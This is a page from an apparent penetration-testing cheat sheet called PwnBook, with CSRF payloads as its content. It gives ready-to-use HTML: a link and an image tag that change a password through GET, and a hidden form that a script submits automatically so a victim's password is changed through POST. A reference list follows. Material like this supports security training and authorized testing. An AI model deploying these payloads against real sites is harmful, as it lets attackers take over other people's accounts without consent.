👾
PwnBook
GitHub
👾
PwnBook
  • 👾Welcome
  • ENUMERATION & EXPLOITATION
    • Reconnaissance
    • Network Services
    • Web Vulnerabilities
      • Command Injection
      • CSRF (Cross Site Request Forgery)
      • File Inclusion
      • File Upload
      • Path Traversal
      • SQL Injection
      • XSS (Cross Site Scripting)
    • Active Directory
      • Capturing NTLM hashes
  • Post Exloitation
    • Reverse Shells
    • File Transfer
    • Privilege Escalation
      • Linux Privilege Escalation
      • Windows Privilege Escalation
    • Pivoting
Powered by GitBook
On this page
  • Payloads
  • GET
  • POST
  • References
  1. ENUMERATION & EXPLOITATION
  2. Web Vulnerabilities

CSRF (Cross Site Request Forgery)

Payloads

GET

<!-- Requires user interaction -->
<a href="http://<target>/changepasswd.php?pass=pass">Click Me</a>

<!-- No user interaction required -->
<img src="http://<target>/changepasswd.php?pass=pass">

POST

<form id="form" action="http://<target>/changepasswd.php" method="POST">
 <input name="pass" type="hidden" value="pass" />
 <input type="submit" value="Submit" />
</form>

<!-- Auto submit -->
<script>
 document.getElementById("form").submit();
</script>

References

Last updated 1 month ago

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection
https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery